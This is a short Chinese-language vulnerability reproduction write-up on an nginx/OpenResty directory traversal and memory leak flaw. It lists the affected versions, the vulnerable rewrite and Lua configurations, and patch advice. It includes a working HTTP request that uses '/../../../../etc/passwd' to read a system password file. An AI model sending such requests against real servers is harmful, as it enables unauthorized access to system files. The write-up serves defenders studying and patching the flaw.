Nginx/OpenResty目录穿越漏洞复现
漏洞背景:
2020年03月18日, 360CERT监测发现 openwall oss-security 邮件组披露了两枚漏洞。在特定配置下 nginx/openresty 存在 内存泄漏漏洞/目录穿越漏洞。
Nginx 是异步框架的网页服务器,也可以用作反向代理、负载平衡器和HTTP缓存。
OpenResty是一个基于nginx的Web平台,它对nginx增加LuaJIT引擎使其运行Lua脚本。
影响版本:
nginx <= v1.17.7 (commit af8ea176a743e97d767b3e1439d549b52dd0367a)
openresty <= v1.15.8.2
环境复现:
操作系统centos7。
安装 nginx 版本选择了 1.17.7
修改 rewrite 配置
//directory traversal
location ~ /rewrite {
rewrite ^.*$ $arg_x;
}
带着 payload 请求 /rewrite 目录 读取passwd文件下的密码
GET /rewrite?x=/../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
返回响应后的内容。
在 openresty v1.15.8.2 测试,同样可以复现
环境搭建:
采用刚搭建的 nginx 1.17.7,安装 lua-nginx-module,需要重新编译nginx,安装编译过程可参见:地址
配置nginx.conf
//memleak
location ~ /memleak {
rewrite_by_lua_block {
ngx.req.read_body();
local args, err = ngx.req.get_post_args();
ngx.req.set_uri( args["url"], true );
}
}
这里采用openresty v1.15.8.2 版本,成功复现(lua-nginx-module-0.10.15 以上版本会报错)
打码处为回显。
修复建议:
建议用户关注并依据实际业务评估漏洞风险影响,可通过如下方案进行加固修复,避免安全风险;
nginx :升级版本至 v1.17.9 或应用 commit a5895eb502747f396d3901a948834cd87d5fb0c3;文章来源:https://www.toymoban.com/news/detail-409734.html
openresty :排查配置文件中 rewrite 以及 ngx.req.set_uri ,建议临时禁用相关配置。文章来源地址https://www.toymoban.com/news/detail-409734.html
到了这里,关于Nginx/OpenResty目录穿越漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!